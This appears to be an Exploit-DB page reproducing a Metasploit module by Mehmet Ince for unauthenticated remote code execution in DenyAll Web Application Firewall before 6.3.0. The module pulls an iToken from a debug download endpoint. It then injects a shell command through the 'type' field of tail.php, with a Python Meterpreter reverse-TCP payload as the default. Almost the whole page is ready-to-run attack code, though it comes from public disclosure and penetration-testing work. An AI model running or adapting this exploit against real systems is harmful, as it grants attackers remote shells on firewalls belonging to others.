DenyAll WAF < 6.3.0 - Remote Code Execution (Metasploit)

  • 作者: Mehmet Ince
    日期: 2017-09-19
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/42769/
  • ##
    # This module requires Metasploit: http://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    
    include Msf::Exploit::Remote::HttpClient
    
    def initialize(info={})
    super(update_info(info,
    'Name' => "DenyAll Web Application Firewall Remote Code Execution",
    'Description'=> %q{
    This module exploits the command injection vulnerability of DenyAll Web Application Firewall. Unauthenticated users can execute a
    terminal command under the context of the web server user.
    },
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'Mehmet Ince <mehmet@mehmetince.net>' # author & msf module
    ],
    'References' =>
    [
    ['URL', 'https://pentest.blog/advisory-denyall-web-application-firewall-unauthenticated-remote-code-execution/']
    ],
    'DefaultOptions'=>
    {
    'SSL' => true,
    'RPORT' => 3001,
    'Payload'=> 'python/meterpreter/reverse_tcp'
    },
    'Platform' => ['python'],
    'Arch' => ARCH_PYTHON,
    'Targets'=> [[ 'Automatic', { }]],
    'Privileged' => false,
    'DisclosureDate' => "Sep 19 2017",
    'DefaultTarget'=> 0
    ))
    
    register_options(
    [
    OptString.new('TARGETURI', [true, 'The URI of the vulnerable DenyAll WAF', '/'])
    ]
    )
    end
    
    def get_token
    # Taking token by exploiting bug on first endpoint.
    res = send_request_cgi({
    'method' => 'GET',
    'uri' => normalize_uri(target_uri.path, 'webservices', 'download', 'index.php'),
    'vars_get' => {
    'applianceUid' => 'LOCALUID',
    'typeOf' => 'debug'
    }
    })
    
    if res && res.code == 200 && res.body.include?("iToken")
    res.body.scan(/"iToken";s:32:"([a-z][a-f0-9]{31})";/).flatten[0]
    else
     nil
    end
    end
    
    def check
    # If we've managed to get token, that means target is most likely vulnerable.
    token = get_token
    if token.nil?
    Exploit::CheckCode::Safe
    else
    Exploit::CheckCode::Appears
    end
    end
    
    def exploit
    # Get iToken from unauthenticated accessible endpoint
    print_status('Extracting iToken value')
    token = get_token
    
    if token.nil?
    fail_with(Failure::NotVulnerable, "Target is not vulnerable.")
    else
    print_good("Awesome. iToken value = #{token}")
    end
    
    # Accessing to the vulnerable second endpoint where we have command injection with valid iToken
    print_status('Trigerring command injection vulnerability with iToken value.')
    r = rand_text_alpha(5 + rand(3));
    
    send_request_cgi({
    'method' => 'POST',
    'uri' => normalize_uri(target_uri.path, 'webservices', 'stream', 'tail.php'),
    'vars_post' => {
    'iToken' => token,
    'tag' => 'tunnel',
    'stime' => r,
    'type' => "#{r}$(python -c \"#{payload.encoded}\")"
    }
    })
    
    end
    end